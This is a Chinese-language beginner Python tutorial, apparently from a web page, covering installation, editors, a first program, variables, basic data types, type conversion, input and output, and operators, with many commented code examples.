python.org 并回车。你会看到 Python 官方网站的首页。55 章完整教程 · 从 print("Hello") 到项目实战 · 从入门到真正的精通
在正式学习 Python 之前,我们先搞清楚一个根本问题:什么是编程?
简单来说,编程就是用计算机能理解的语言,告诉它该做什么事。计算机本身只认识 0 和 1(二进制),人类直接写二进制代码几乎不可能。所以我们需要一种"中间语言"——既能被人类读懂,又能被翻译成计算机指令。这就是编程语言。
想象你在一个外国餐厅点菜。你不会说当地语言(二进制),服务员也不懂中文。但如果你会英语(编程语言),而服务员也懂英语,你们就能沟通了。Python 就是这门"英语"——简单、通用、几乎所有人都能学会。
编程的本质其实就是三件事:
无论多么复杂的程序——微信、抖音、淘宝——本质上都在做这三件事。掌握了这个核心思想,你学任何编程语言都会事半功倍。
Python 是一门通用编程语言,由荷兰人 Guido van Rossum(吉多·范罗苏姆)在 1989 年圣诞节期间开始编写,1991 年正式发布。名字来源于 Guido 喜爱的英国喜剧团体 Monty Python,而不是蟒蛇(虽然 Python 的标志确实是一条蛇)。
Python 的设计哲学可以用一句话概括:代码是写给人看的,顺便让计算机执行。这和其他很多语言形成鲜明对比——有些语言追求极致的运行速度,有些追求严格的类型安全,而 Python 追求的是简洁、清晰、易读。
import this,你会看到 Python 的设计哲学。其中最重要的一句是:C 语言 = 手动挡赛车:性能极强,但操作复杂,新手容易熄火。
Java = 自动挡大巴:规范、安全、能载很多人,但启动要半天(代码冗长)。
JavaScript = 摩托车:灵活快速,但容易翻车(弱类型陷阱多)。
Python = 电动汽车:上手即开,简单直观,智能辅助多,性能也不差。
来看同一个功能在不同语言中的写法,直观感受 Python 的简洁:
// C 语言——需要 5 行,还需要理解"头文件""主函数""返回值"等概念
#include <stdio.h>
int main() {
printf("Hello World");
return 0;
}
// Java——需要 5 行,还需要理解"类""方法""字符串数组"等概念
public class Main {
public static void main(String[] args) {
System.out.println("Hello World");
}
}
# Python——只需要 1 行。不需要任何"仪式代码",直接写你想做的事
print("Hello World")
再看一个稍微复杂的例子——读取一个文件并统计其中的行数:
// Java——需要理解类、异常处理、资源关闭等多个概念
import java.io.*;
public class LineCount {
public static void main(String[] args) throws IOException {
BufferedReader reader = new BufferedReader(new FileReader("data.txt"));
int count = 0;
while (reader.readLine() != null) count++;
reader.close();
System.out.println(count);
}
}
# Python——三行搞定,逻辑一目了然
with open("data.txt") as f:
lines = f.readlines()
print(len(lines))
Python 是目前应用最广泛的编程语言之一。根据 TIOBE 编程语言排行榜,Python 连续多年稳居第一。它几乎覆盖了所有技术领域:
| 领域 | 具体用途 | 代表库/框架 | 谁在用 |
|---|---|---|---|
| Web 开发 | 搭建网站、API 接口、后台服务 | Django、Flask、FastAPI | Instagram、Pinterest、知乎 |
| 数据科学 | 数据分析、可视化、统计建模 | Pandas、NumPy、Matplotlib | 几乎所有数据团队 |
| 人工智能 | 机器学习、深度学习、NLP | TensorFlow、PyTorch、scikit-learn | OpenAI、Google、Meta |
| 自动化运维 | 服务器管理、批量部署、监控 | Fabric、Ansible、Paramiko | 所有互联网公司的运维团队 |
| 网络爬虫 | 抓取网页数据、监控信息 | Scrapy、BeautifulSoup、requests | 搜索引擎、数据公司 |
| 办公自动化 | 处理 Excel/PDF/邮件/报表 | openpyxl、smtplib、PyPDF2 | 财务、运营、行政人员 |
| 游戏开发 | 2D 游戏、游戏脚本 | Pygame、Ren'Py | 独立游戏开发者 |
| 物联网 | 树莓派、传感器、智能家居 | MicroPython、RPi.GPIO | 硬件工程师、创客 |
| 金融科技 | 量化交易、风险分析 | Zipline、pandas-datareader | 对冲基金、银行 |
| 教育科研 | 科学计算、论文数据处理 | SciPy、SymPy、Jupyter | 高校、研究所 |
python.org 并回车。你会看到 Python 官方网站的首页。python 会报错"不是内部或外部命令"。Win + R,输入 cmd 回车打开命令提示符。输入以下命令并回车:python --version
# 如果输出类似 "Python 3.12.1",说明安装成功!
# 如果提示"不是内部或外部命令",说明第 3 步没勾选 PATH,解决方法见下方。
C:\Users\你的用户名\AppData\Local\Programs\Python\Python312)。
macOS 系统自带 Python,但通常是旧版本(Python 2.x 或较旧的 3.x)。建议安装最新版:
# 方法一:用 Homebrew 安装(推荐)
# 第 1 步:检查是否安装了 Homebrew
brew --version
# 如果提示 "command not found",先安装 Homebrew:
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
# 第 2 步:安装 Python
brew install python3
# 第 3 步:验证
python3 --version
# 输出:Python 3.12.x
# 方法二:直接从 python.org 下载 .pkg 安装包,双击安装
# Ubuntu / Debian
sudo apt update
sudo apt install python3 python3-pip
# CentOS / Fedora
sudo dnf install python3
# 验证
python3 --version
写 Python 代码需要一个编辑器。就像写字需要纸和笔一样,编辑器就是你写代码的"纸和笔"。下面介绍几种最常用的:
| 编辑器 | 适合谁 | 优点 | 缺点 |
|---|---|---|---|
| IDLE | 完全零基础的新手 | Python 自带,无需安装任何东西,双击就能用 | 功能简陋,写大项目不方便 |
| VS Code | 所有人(强烈推荐) | 免费、轻量、插件极其丰富、支持调试、内置终端、支持几乎所有编程语言 | 需要安装 Python 插件(很简单) |
| PyCharm | 专业 Python 开发者 | 功能最强大,智能提示、重构、数据库工具一应俱全 | 收费(社区版免费但功能少)、启动慢、占用内存大 |
| Jupyter Notebook | 数据分析、学习 | 交互式,可以一段一段运行代码,边写边看结果 | 不适合写大型项目 |
code.visualstudio.com,下载对应系统的版本并安装。hello.py(注意后缀是 .py)。VS Code 会自动识别这是 Python 文件。print("Hello"),然后右键选择 "Run Python File in Terminal",或者点击右上角的三角形运行按钮。万事俱备,让我们写下第一个程序。打开你的编辑器,输入以下代码:
# 这是我的第一个 Python 程序
# 以 # 开头的行是"注释",是写给人看的,Python 会忽略它们
# print() 是 Python 内置的函数,作用是在屏幕上显示文字
print("Hello, World!")
# 可以显示中文
print("你好,世界!")
# 可以显示多条信息
print("我开始学 Python 了!")
print("今天是学习的第一天")
逐行解释:
# 这是我的第一个 Python 程序 —— 这是注释,# 号后面的文字 Python 不会执行,只是给人看的说明。print("Hello, World!") —— print 是一个"函数"(就像数学中的函数 f(x)),括号里是它的"参数"(要显示的内容)。引号表示这是一个"字符串"(也就是文字)。Hello, World!。运行方式一:命令行运行(推荐)
# 1. 打开命令提示符(Windows: Win+R 输入 cmd)或终端(macOS: 搜索 Terminal)
# 2. 用 cd 命令进入文件所在的目录
cd Desktop # 进入桌面(假设文件在桌面)
# 3. 运行 Python 文件
python hello.py # Windows
python3 hello.py # macOS/Linux
# 输出:
# Hello, World!
# 你好,世界!
# 我开始学 Python 了!
# 今天是学习的第一天
运行方式二:交互式模式
# 在命令行直接输入 python(不带文件名),进入交互模式
python
# 会出现 >>> 提示符,你可以直接输入代码并立即看到结果
>>> print("Hello")
Hello
>>> 1 + 1
2
>>> exit() # 输入 exit() 退出交互模式
Python 有两个主要版本系列:
你可能会在网上看到一些老教程用的是 Python 2.x 的语法(比如 print "hello" 不带括号),那些已经过时了。遇到这种情况直接跳过,找更新的教程。
python 命令可能指向 Python 2.x,而 python3 指向 Python 3.x。建议统一使用 python3。在 Windows 上,如果你安装时勾选了 PATH,python 通常就指向你安装的 3.x 版本。
在正式开始之前,有几句话想对你说:
看别人骑(看教程)感觉很简单,但自己一上去就会摔。摔几次之后突然就找到平衡了——然后就再也忘不了了。编程也一样,前面会磕磕绊绊,但一旦"开窍",就会越学越快。关键是:别放弃,多练习。
变量就是一个名字,用来指向一块内存中存储的数据。这个概念非常重要,我们用三种方式来理解它:
想象你有一排盒子,每个盒子上贴着一张标签。标签上写着名字(变量名),盒子里装着东西(数据)。
age = 18 的意思是:找一个盒子,贴上"age"的标签,把 18 这个数字放进去。
age = 20 的意思是:把"age"盒子里的 18 取出来,换成 20。
变量就像便利贴。你可以把便利贴贴在任何东西上。name = "张三" 就是把写着"name"的便利贴贴在"张三"这个字符串上。如果你后来写了 name = "李四",便利贴就被撕下来贴到"李四"上面了。原来的"张三"还在,只是没有便利贴指着它了。
# 变量赋值就像"贴标签"
age = 18 # 创建一个变量 age,它的值是 18
name = "张三" # 创建一个变量 name,它的值是 "张三"
# 使用变量就是"读取盒子里的东西"
print(age) # 输出:18
print(name) # 输出:张三
# 变量可以重新赋值(盒子里的东西可以换)
age = 20 # 把 age 的值从 18 改成 20
print(age) # 输出:20
# 一个值可以有多个变量指向它
a = 100
b = a # b 也指向 100
print(a) # 100
print(b) # 100
a = 200 # a 改成 200,但 b 还是 100
print(a) # 200
print(b) # 100(b 没变!因为它指向的是值,不是 a)
b = a 不是把 a 的值复制一份给 b,而是让 b 和 a 指向同一个值。就像两个人可以贴便利贴在同一个苹果上——苹果只有一个,但有两个名字指着它。这个概念在第 10 章会深入讲解。
给变量起名有几条必须遵守的铁律(违反会报语法错误)和几条强烈建议的惯例(违反不会报错但会被其他程序员嫌弃):
| # | 规则 | 正确示例 | 错误示例 | 为什么会错 |
|---|---|---|---|---|
| 1 | 只能包含字母、数字、下划线 | my_name | my-name | 短横线 - 是减号运算符 |
| 2 | 不能以数字开头 | name1 | 1name | Python 会以为是数字 1 |
| 3 | 不能使用 Python 关键字 | my_class | class | class 是 Python 保留字 |
| 4 | 区分大小写 | Age 和 age 是两个不同的变量 | — | — |
student_name 比 x 好,total_price 比 tp 好。代码是写给人看的,有意义的变量名能让代码"自解释"。first_name、total_score。这种风格叫"蛇形命名法"(snake_case),是 Python 社区的标准惯例。MAX_SIZE = 100、PI = 3.14159。Python 没有真正的常量机制,但全大写是在告诉其他程序员"这个值不要改"。i、j 在循环中可以用,但 a、b、c 作为变量名会让代码难以理解。l(小写 L 和数字 1 太像)、O(大写 O 和数字 0 太像)。False, None, True, and, as, assert, async, await, break, class, continue, def, del, elif, else, except, finally, for, from, global, if, import, in, is, lambda, nonlocal, not, or, pass, raise, return, try, while, with, yield# ❌ 错误:含短横线
my-name = "张三" # SyntaxError
# ❌ 错误:以数字开头
2nd_place = "李四" # SyntaxError
# ❌ 错误:使用关键字
class = "一班" # SyntaxError
# ✅ 正确的替代方案
my_name = "张三"
second_place = "李四"
class_name = "一班"
Python 中每个数据都有一个"类型"(type),就像现实中的物品有不同的分类。比如"18"是数字,"张三"是文字,"对/错"是判断。Python 最基本的数据类型有 6 种:
int = 计数器上的数字:1, 2, 3...
float = 体重秤上的数字:65.5, 70.2...
str = 写在纸上的文字:"你好"、"Hello"...
bool = 开关:开(True)或关(False)
None = 空盒子:里面什么都没有,不是 0(0 是有东西),是真正的"空"。
type() 是 Python 内置的函数,可以告诉你任何数据的类型:
# type() 告诉你数据的类型
print(type(42)) # <class 'int'> —— 整数
print(type(3.14)) # <class 'float'> —— 浮点数
print(type("hello")) # <class 'str'> —— 字符串
print(type(True)) # <class 'bool'> —— 布尔值
print(type(None)) # <class 'NoneType'> —— 空值
print(type(3+4j)) # <class 'complex'> —— 复数
# 用 isinstance() 判断类型(更推荐)
print(isinstance(42, int)) # True
print(isinstance("hello", str)) # True
print(isinstance(3.14, int)) # False(3.14 不是整数)
Python 的整数和其他语言有一个巨大区别:没有大小限制。在 C 语言或 Java 中,int 类型最大只能到 21 亿左右(2^31-1),超过就"溢出"(变成负数或报错)。Python 的整数想多大就多大。
# Python 的整数可以无限大
big_number = 99999999999999999999999999999999
print(big_number) # 正常输出,不会报错
print(type(big_number)) # <class 'int'>
# 在 C/Java 中,这种数字会导致溢出。Python 完全不用担心。
# 可以用下划线分隔大数字,提高可读性(下划线会被忽略)
population = 1_400_000_000 # 14亿
budget = 10_000_000 # 1000万
print(population) # 输出:1400000000
# 不同进制的整数
print(0b1010) # 二进制 → 10(0b 开头表示二进制)
print(0o17) # 八进制 → 15(0o 开头表示八进制)
print(0xFF) # 十六进制 → 255(0x 开头表示十六进制)
# 常用整数运算
print(10 // 3) # 整除:3(只保留整数部分)
print(10 % 3) # 取余:1(10 除以 3 的余数)
print(2 ** 10) # 幂运算:1024(2 的 10 次方)
浮点数就是带小数点的数字。但计算机存储小数的方式和我们人类不同,这会导致一个著名的"精度问题":
price = 9.99
pi = 3.14159
temperature = -20.5
# ⚠️ 浮点数有精度问题!这是计算机科学的经典问题
print(0.1 + 0.2) # 输出:0.30000000000000004(不是 0.3!)
print(0.1 + 0.2 == 0.3) # False!(这是很多新手困惑的根源)
# 为什么?因为计算机用二进制存储小数,有些小数无法精确表示
# 就像 1/3 无法用有限小数表示(0.333333...永远写不完)
# 解决方案一:用 round() 四舍五入
result = 0.1 + 0.2
print(round(result, 1)) # 0.3(保留 1 位小数)
# 解决方案二:用 decimal 模块(需要精确计算时,如金融)
from decimal import Decimal
print(Decimal('0.1') + Decimal('0.2')) # 0.3(精确!)
# 注意:Decimal 的参数必须是字符串,不能是浮点数
# Decimal(0.1) ← 这样写还是会出问题!
# 正确比较浮点数的方法
a = 0.1 + 0.2
b = 0.3
print(abs(a - b) < 1e-9) # True(差值足够小就认为相等)
==,用 abs(a - b) < 1e-9Decimal 模块
字符串是最常用的数据类型之一。它用来存储文本:名字、地址、密码、文章内容……几乎所有"文字"都是字符串。
# 创建字符串的四种方式
s1 = 'hello' # 单引号(最常用)
s2 = "hello" # 双引号(和单引号完全等价)
s3 = '''这是
多行字符串''' # 三单引号(可以换行)
s4 = """这也是
多行字符串""" # 三双引号(和三单引号等价)
# 什么时候用单引号,什么时候用双引号?
# 当字符串内有引号时,用另一种引号包裹,避免转义
sentence1 = "It's OK" # 字符串里有单引号,外层用双引号
sentence2 = 'He said "hello"' # 字符串里有双引号,外层用单引号
sentence3 = "He said \"hello\"" # 也可以用转义字符 \"(但不如上面简洁)
# 字符串可以用 + 拼接
first = "Hello"
second = "World"
print(first + " " + second) # Hello World
# 用 * 重复
print("哈" * 3) # 哈哈哈
print("-" * 20) # --------------------(常用来画分隔线)
# 字符串的长度(包含的字符个数)
print(len("hello")) # 5
print(len("你好")) # 2(每个中文字符算 1 个)
print(len("")) # 0(空字符串长度为 0)
布尔值只有两个:True(真)和 False(假)。注意首字母必须大写。布尔值在条件判断中无处不在。
# 布尔值的创建
is_student = True # 是学生
is_rich = False # 不是有钱人
# 布尔值在条件判断中使用
if is_student:
print("享受学生折扣")
if not is_rich:
print("看看就好")
# 比较运算产生布尔值
print(10 > 5) # True
print(10 < 5) # False
print(10 == 10) # True
print(10 != 10) # False
# 布尔值本质上是整数:True 是 1,False 是 0
print(True + True) # 2
print(True * 10) # 10
print(False + 1) # 1
print(sum([True, True, False, True])) # 3(True 算 1,False 算 0)
# "假值":以下值在布尔上下文中都视为 False
print(bool(0)) # False(零)
print(bool(0.0)) # False(零点零)
print(bool("")) # False(空字符串)
print(bool([])) # False(空列表)
print(bool({})) # False(空字典)
print(bool(None)) # False(空值)
# 其他所有值都是 True
print(bool(1)) # True
print(bool(-1)) # True(负数也是 True!)
print(bool("hi")) # True
print(bool([1, 2])) # True
print(bool(" ")) # True(空格不是空字符串,所以是 True)
None 是 Python 中一个特殊的值,表示"什么都没有"。它不是 0,不是空字符串,是真正的"空"。
# None 的类型是 NoneType(它自己独有的类型)
result = None
print(result) # None
print(type(result)) # <class 'NoneType'>
# 判断一个变量是不是 None,用 is,不要用 ==
# (这是 Python 社区的惯例,也是最佳实践)
x = None
if x is None:
print("x 是 None")
if x is not None:
print("x 不是 None")
# 为什么用 is 而不是 ==?
# 因为 is 比较的是"是否是同一个对象",而 == 比较的是"值是否相等"
# None 是全局唯一的,所以用 is 更准确、更快
# None 的常见用途
def greet(name):
if name is None:
print("你好,陌生人!")
else:
print(f"你好,{name}!")
greet(None) # 你好,陌生人!
greet("张三") # 你好,张三!
不同类型的数据之间可以互相转换。这在实际编程中非常常见——比如用户输入的是字符串,但你需要用它做数学计算。
# 字符串 → 整数
age_str = "25"
age_int = int(age_str) # 把字符串 "25" 转成整数 25
print(age_int + 1) # 26(现在可以做数学运算了)
# 整数 → 字符串
score = 98
score_str = str(score) # 把整数 98 转成字符串 "98"
print("你的分数是:" + score_str) # 字符串只能和字符串拼接
# 字符串 → 浮点数
price_str = "9.99"
price = float(price_str) # 9.99
# 浮点数 → 整数(注意:是截断,不是四舍五入!)
print(int(3.7)) # 3(直接砍掉小数部分)
print(int(3.2)) # 3
print(int(-3.7)) # -3(向零方向截断)
# 四舍五入用 round()
print(round(3.7)) # 4
print(round(3.2)) # 3
print(round(3.5)) # 4(.5 向偶数方向舍入,这是"银行家舍入")
print(round(2.5)) # 2(注意!不是 3,因为 2 是偶数)
# 整数 ↔ 浮点数
print(float(5)) # 5.0(整数转浮点数,加 .0)
print(int(5.0)) # 5(浮点数转整数,去掉 .0)
print(int(5.9)) # 5(不是 6!是截断)
int("hello") → ValueError: 不是数字int("3.14") → ValueError: 不能直接把带小点的字符串转成 intint("") → ValueError: 空字符串int("3.14") 应该先转成 float:int(float("3.14")) → 3int("") 应该先判断是否为空:int(s) if s else 0
input() 函数会让程序暂停,等待用户输入文字,按回车后继续执行。括号里的字符串是提示信息。
# 基本用法
name = input("请输入你的名字:")
# 用户输入 "张三" 并按回车后,name 的值就是 "张三"
print("你好," + name + "!")
# ⚠️ 重要:input() 返回的永远是字符串!
age = input("请输入你的年龄:")
print(type(age)) # <class 'str'> ← 是字符串,不是数字!
# print(age + 1) # ❌ TypeError! 字符串不能和数字相加
# 如果需要做数学运算,必须手动转换类型
age = int(input("请输入你的年龄:")) # 用 int() 转换
print("明年你就", age + 1, "岁了") # 现在可以做运算了
# 安全的输入转换(防止用户输入非数字时报错)
age_str = input("请输入你的年龄:")
if age_str.isdigit(): # isdigit() 判断是否全是数字
age = int(age_str)
print(f"你{age}岁了")
else:
print("请输入有效的数字!")
print() 是你最常用的函数,它把内容显示在屏幕上。
# 基本输出
print("Hello World") # 输出文字
print(42) # 输出数字
print(3.14) # 输出小数
print(True) # 输出布尔值
# 输出多个值,用逗号分隔(默认用空格连接)
print("名字:", "张三", "年龄:", 18)
# 输出:名字: 张三 年龄: 18
# 指定分隔符 sep
print("2024", "01", "01", sep="-")
# 输出:2024-01-01
print("a", "b", "c", sep="")
# 输出:abc(sep="" 表示没有分隔符)
# 指定结尾字符 end(默认是换行符 \n)
print("Hello", end=" ")
print("World")
# 输出:Hello World(在同一行,因为 end=" " 代替了默认的换行)
print("加载中", end="...\n")
# 输出:加载中...
# 格式化输出(f-string,第四章会详细讲)
name = "张三"
age = 18
print(f"我叫{name},今年{age}岁") # 最推荐的写法
print() 不是"魔法",它只是一个函数。你完全可以自己写一个类似的功能。但 Python 已经帮你写好了,所以直接用就行。这就是编程的魅力——站在巨人的肩膀上,不需要重复造轮子。
算术运算符就是你小学学过的加减乘除,再加上几个编程特有的。Python 的算术运算符一共 7 个:
| 运算符 | 名称 | 含义 | 示例 | 结果 |
|---|---|---|---|---|
+ | 加 | 两个数相加 | 3 + 2 | 5 |
- | 减 | 两个数相减 | 3 - 2 | 1 |
* | 乘 | 两个数相乘 | 3 * 2 | 6 |
/ | 除 | 两个数相除(结果永远是浮点数) | 7 / 2 | 3.5 |
// | 整除 | 除法后只保留整数部分(向下取整) | 7 // 2 | 3 |
% | 取余(模) | 除法后的余数 | 7 % 2 | 1 |
** | 幂(乘方) | 计算 n 次方 | 2 ** 10 | 1024 |
/ 的结果也是浮点数:6 / 3 的结果是 2.0,不是 2。如果你只想要整数结果,用 //:6 // 3 的结果是 2(整数)。
# 加减乘除
print(10 + 3) # 13
print(10 - 3) # 7
print(10 * 3) # 30
print(10 / 3) # 3.3333333333333335(浮点数,有精度误差)
# 整除:只保留整数部分(注意是向下取整,不是四舍五入)
print(10 // 3) # 3
print(7 // 2) # 3
print(-7 // 2) # -4(向下取整,-3.5 向下是 -4,不是 -3!)
# 取余:除法的余数
print(10 % 3) # 1(10 = 3*3 + 1)
print(7 % 2) # 1(7 = 2*3 + 1)
print(-7 % 2) # 1(Python 的取余结果符号和除数相同)
# 幂运算
print(2 ** 10) # 1024(2 的 10 次方)
print(9 ** 0.5) # 3.0(9 的 0.5 次方 = 开平方根)
print(2 ** 0.5) # 1.4142135623730951(√2)
# 1. 判断奇偶数
num = 7
if num % 2 == 0:
print(f"{num} 是偶数")
else:
print(f"{num} 是奇数")
# 2. 取一个三位数的各位数字
num = 456
bai = num // 100 # 百位:4
shi = num // 10 % 10 # 十位:5
ge = num % 10 # 个位:6
print(f"百位{bai},十位{shi},个位{ge}")
# 3. 判断是否能被整除(整除判断)
year = 2024
if year % 4 == 0 and (year % 100 != 0 or year % 400 == 0):
print(f"{year} 是闰年")
else:
print(f"{year} 是平年")
# 4. 循环数组索引(取余让索引"回绕")
colors = ["红", "绿", "蓝"]
for i in range(7):
print(colors[i % 3], end=" ") # 红 绿 蓝 红 绿 蓝 红
# 5. 分钟转换为"小时:分钟"
total_minutes = 135
hours = total_minutes // 60 # 2 小时
minutes = total_minutes % 60 # 15 分钟
print(f"{hours}小时{minutes}分钟") # 2小时15分钟
比较运算符用来比较两个值的大小关系,结果永远是布尔值(True 或 False):
| 运算符 | 含义 | 示例 | 结果 | 说明 |
|---|---|---|---|---|
== | 等于 | 3 == 3 | True | 两个等号是比较,一个等号是赋值 |
!= | 不等于 | 3 != 5 | True | 判断两个值是否不同 |
> | 大于 | 5 > 3 | True | — |
< | 小于 | 3 < 5 | True | — |
>= | 大于等于 | 5 >= 5 | True | 大于或等于都算 True |
<= | 小于等于 | 3 <= 5 | True | — |
# 基本比较
print(10 > 5) # True
print(10 < 5) # False
print(10 == 10) # True
print(10 != 10) # False
print(10 >= 10) # True(等于也算)
print(10 <= 9) # False
# 字符串也可以比较(按 Unicode 编码逐字符比较)
print("apple" < "banana") # True(a 的编码比 b 小)
print("abc" < "abd") # True(前两个字符相同,第三个 c < d)
print("abc" < "abcd") # True(短的"小于"长的)
print("abc" == "abc") # True
# 不同类型比较
print(1 == 1.0) # True(int 和 float 可以比较)
print(1 == True) # True(True 就是 1)
print(0 == False) # True(False 就是 0)
print("1" == 1) # False(字符串和数字不会自动转换)
# Python 支持链式比较(其他语言一般不支持)
age = 25
print(18 <= age <= 65) # True,等价于 18 <= age and age <= 65
# 更多链式比较的例子
x = 5
print(1 < x < 10) # True
print(1 < x < 3) # False
print(0 <= x <= 10) # True
# 数学表达式直接翻译成 Python
# 数学:0 < x < 10 且 x ≠ 5
# Python:
if 0 < x < 10 and x != 5:
print("x 在 0 到 10 之间,但不是 5")
== 比较的是值是否相等(内容一样不一样)。is 比较的是是否是同一个对象(内存地址是否相同)。== 返回 True),但它们是两张不同的照片(is 返回 False)。而同一张照片的两个引用(is 返回 True)。is,其他情况用 ==。
# == 和 is 的区别
a = [1, 2, 3]
b = [1, 2, 3] # 创建了一个新列表,值和 a 相同
c = a # c 和 a 指向同一个列表
print(a == b) # True(值相同)
print(a is b) # False(不是同一个对象,内存地址不同)
print(a is c) # True(c 就是 a,指向同一个对象)
print(id(a)) # 假设是 140234866501120
print(id(b)) # 假设是 140234866501184(不同!)
print(id(c)) # 140234866501120(和 a 相同!)
# 判断 None 一定要用 is(Python 社区惯例)
x = None
if x is None: # ✅ 推荐
print("x 是 None")
if x == None: # ⚠️ 不推荐(虽然结果一样,但不够 Pythonic)
print("x 是 None")
逻辑运算符用来组合多个条件,结果也是布尔值:
| 运算符 | 含义 | 说明 | 记忆方法 |
|---|---|---|---|
and | 与(并且) | 两边都为 True,结果才是 True | 两个条件都要满足 |
or | 或(或者) | 至少一边为 True,结果就是 True | 满足一个就行 |
not | 非(取反) | True 变 False,False 变 True | 反着来 |
and(与)= 进电影院要"有票并且有身份证",缺一不可。
or(或)= 打折条件是"是学生或者是老人",满足一个就行。
not(非)= "不 raining" → 如果在下雨就是 False,没下雨就是 True。
age = 25
income = 8000
is_student = True
# and:两个条件都要满足
if age >= 18 and income >= 5000:
print("可以申请信用卡") # ✅ 执行(两个条件都满足)
# or:至少一个条件满足
if age < 12 or age > 65:
print("免费乘车") # ❌ 不执行(两个条件都不满足)
# not:取反
if not is_student:
print("不是学生") # ❌ 不执行(is_student 是 True,取反后是 False)
# 组合使用(建议加括号让逻辑更清晰)
if (age >= 18 and income >= 5000) or is_student:
print("可以办卡") # ✅ 执行(因为 is_student 是 True)
# 实际应用:用户输入验证
username = "admin"
password = "123456"
if username == "admin" and password == "123456":
print("登录成功")
else:
print("用户名或密码错误")
Python 的逻辑运算有"短路"特性,理解它能让你写出更简洁的代码:
and:如果左边是 False,右边不会执行(因为结果一定是 False,没必要再算了)or:如果左边是 True,右边不会执行(因为结果一定是 True,没必要再算了)# 短路的实际用法
# 1. 安全地访问可能不存在的属性
user = None
# 如果 user 是 None,后面的 .name 不会执行,不会报错
name = user and user.name # 结果是 None(短路:左边是 None/False,右边不执行)
# 2. 设置默认值(非常常用的技巧)
username = "" or "匿名用户"
# 空字符串是"假值",所以 or 继续看右边,结果是 "匿名用户"
username = "张三" or "匿名用户"
# "张三" 是"真值",短路:直接返回 "匿名用户" 不会执行
# 结果是 "张三"
# 3. 实际场景:给变量设置默认值
config = user_input or default_config
# 如果用户没输入(空值),就用默认配置
# and 返回:如果左边是假值,返回左边;否则返回右边
print(0 and 5) # 0(左边是假值,直接返回 0)
print(3 and 5) # 5(左边是真值,继续看右边,返回 5)
print("" and "hello") # ""(空字符串是假值)
print("hi" and "hello") # "hello"
# or 返回:如果左边是真值,返回左边;否则返回右边
print(0 or 5) # 5(左边是假值,继续看右边)
print(3 or 5) # 3(左边是真值,直接返回 3)
print("" or "hello") # "hello"
print("hi" or "hello") # "hi"
# 这个特性常用来设置默认值
name = input("请输入名字:") or "匿名" # 空输入时用"匿名"
赋值运算符用来给变量赋值。除了基本的 =,还有一系列"运算后赋值"的简写:
x = 10 # 基本赋值:把 10 赋给 x
# 运算赋值(简写形式)
x += 5 # 等价于 x = x + 5 → x 是 15
x -= 3 # 等价于 x = x - 3 → x 是 12
x *= 2 # 等价于 x = x * 2 → x 是 24
x /= 4 # 等价于 x = x / 4 → x 是 6.0
x //= 2 # 等价于 x = x // 2 → x 是 3.0
x **= 3 # 等价于 x = x ** 3 → x 是 27.0
x %= 5 # 等价于 x = x % 5 → x 是 2.0
# Python 不支持 ++ 和 --(和 C/Java/JavaScript 不同)
# x++ ❌ SyntaxError
# x-- ❌ SyntaxError
# 用 x += 1 和 x -= 1 代替
# 同时给多个变量赋值(元组拆包)
a, b, c = 1, 2, 3
print(a, b, c) # 1 2 3
# 交换两个变量的值(Python 独有的简洁写法)
a, b = 10, 20
a, b = b, a # 交换!
print(a, b) # 20 10
# 给多个变量赋相同的值
x = y = z = 0
print(x, y, z) # 0 0 0
用来判断某个元素是否"在"一个序列中。序列包括字符串、列表、元组、字典、集合等。
# 列表中查找
fruits = ["苹果", "香蕉", "橘子"]
print("苹果" in fruits) # True
print("西瓜" in fruits) # False
print("西瓜" not in fruits) # True
# 字符串中查找子串
email = "zhangsan@gmail.com"
print("@" in email) # True(包含 @ 符号)
print("@qq" in email) # False(不是 QQ 邮箱)
print("gmail" in email) # True
# 字典中查找键(注意:是查键,不是查值)
person = {"name": "张三", "age": 18}
print("name" in person) # True(键存在)
print("张三" in person) # False("张三" 是值,不是键)
print("张三" in person.values()) # True(在值中查找)
# 集合中查找(集合查找非常快)
big_set = set(range(1000000))
print(999999 in big_set) # True(瞬间返回,不需要遍历)
# 实际应用:输入验证
color = input("请输入颜色(red/green/blue):")
if color in ("red", "green", "blue"):
print(f"你选择了 {color}")
else:
print("无效的颜色")
is 和 is not 判断两个变量是否指向同一个对象(内存地址是否相同):
a = [1, 2, 3]
b = [1, 2, 3] # 新建了一个列表
c = a # c 和 a 指向同一个列表
print(a is b) # False(值相同但不是同一个对象)
print(a is c) # True(c 就是 a)
print(a is not b) # True
# is 用于 None 判断(最佳实践)
x = None
if x is None:
print("x 是 None")
if x is not None:
print("x 不是 None")
当一个表达式中有多个运算符时,Python 按照优先级决定谁先算。从高到低:
之后是比较运算符(==, !=, <, >),再是 not,再是 and,最后是 or。
# 优先级示例
print(2 + 3 * 4) # 14(先算乘法,再算加法)
print((2 + 3) * 4) # 20(括号改变了优先级)
print(2 ** 3 ** 2) # 512(幂运算是右结合的:2 ** (3 ** 2) = 2 ** 9)
print(True or False and False) # True(and 比 or 先算)
(a + b) * c 比 a + b * c 清晰得多。括号不影响性能,但能让你的代码更易读、更不容易出错。
位运算符直接操作二进制位。在日常编程中用得不多,但在底层开发、加密算法、性能优化中会用到。
a = 0b1100 # 12 的二进制
b = 0b1010 # 10 的二进制
print(bin(a & b)) # 0b1000 按位与:都为 1 才为 1
print(bin(a | b)) # 0b1110 按位或:至少一个为 1 就为 1
print(bin(a ^ b)) # 0b0110 按位异或:不同为 1,相同为 0
print(bin(~a)) # -0b1101 按位取反:0 变 1,1 变 0
print(bin(a << 2)) # 0b110000 左移 2 位(相当于乘以 4)
print(bin(a >> 2)) # 0b11 右移 2 位(相当于整除 4)
# 实际用途:权限系统
READ = 0b100 # 4
WRITE = 0b010 # 2
EXECUTE = 0b001 # 1
permission = READ | WRITE # 给读和写权限
print(bool(permission & READ)) # True(有读权限)
print(bool(permission & EXECUTE)) # False(没有执行权限)
= 是赋值,== 是比较,写条件时经常手误写成 if x = 50.1 + 0.2 == 0.3 是 False,应该用 abs(a - b) < 1e-9and or not,不是 && || !==,判断 None 用 is(a + b) * c 永远比 a + b * c 安全字符串是 Python 中最常用的数据类型之一。它用来存储文本:名字、地址、文章内容、密码、JSON 数据……几乎所有"文字"都是字符串。创建字符串有四种方式:
# 四种引号都可以创建字符串
s1 = 'hello' # 单引号(最常用)
s2 = "hello" # 双引号(和单引号完全等价)
s3 = '''hello''' # 三单引号(可以包含换行)
s4 = """hello""" # 三双引号(和三单引号等价)
# 什么时候用哪种引号?
# 规则:当字符串内有引号时,用另一种引号包裹,避免转义
s5 = "It's OK" # 字符串里有单引号 → 外层用双引号
